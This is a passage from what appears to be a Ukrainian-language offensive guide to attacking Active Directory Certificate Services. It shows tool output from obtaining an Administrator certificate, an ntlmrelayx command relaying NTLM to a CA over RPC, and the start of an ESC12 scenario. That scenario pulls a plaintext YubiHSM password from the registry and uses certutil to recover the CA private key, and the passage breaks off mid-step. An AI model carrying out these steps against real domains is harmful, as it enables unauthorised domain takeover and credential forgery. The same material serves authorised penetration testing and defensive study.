[*] Template was not defined. Defaulting to Machine/User
[*] Requesting certificate for user 'Administrator' with template 'User'
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 10
[*] Got certificate with UPN '[e-mail]'
[*] Certificate object SID is 'S-1-5-21-1597581903-3066826612-568686062-500'
[*] Saved certificate and private key to 'administrator.pfx'
[*] Exiting...

Примітка: Для контролерів домену ми повинні вказати -template в DomainController.

Або використовуючи форк sploutchy імпакту:

$ ntlmrelayx.py -t rpc://192.168.100.100 -rpc-mode ICPR -icpr-ca-name DC01-CA -smb2support

Shell доступ до ADCS CA з YubiHSM - ESC12

Пояснення

Адміністратори можуть налаштувати Центр сертифікації для зберігання його на зовнішньому пристрої, наприклад, "Yubico YubiHSM2".

Якщо USB-пристрій підключено до сервера CA через USB-порт або до сервера USB у випадку, якщо сервер CA є віртуальною машиною, потрібен ключ аутентифікації (іноді його називають "паролем") для того, щоб Провайдер зберігання ключів міг генерувати та використовувати ключі в YubiHSM.

Цей ключ/пароль зберігається в реєстрі за адресою HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword у відкритому вигляді.

Посилання тут.

Сценарій зловживання

Якщо приватний ключ CA зберігається на фізичному USB-пристрої, коли ви отримали доступ до оболонки, можливо відновити ключ.

Спочатку вам потрібно отримати сертифікат CA (це публічно), а потім:

# import it to the user store with CA certificate
$ certutil -addstore -user my <CA certificate file>

# Associated with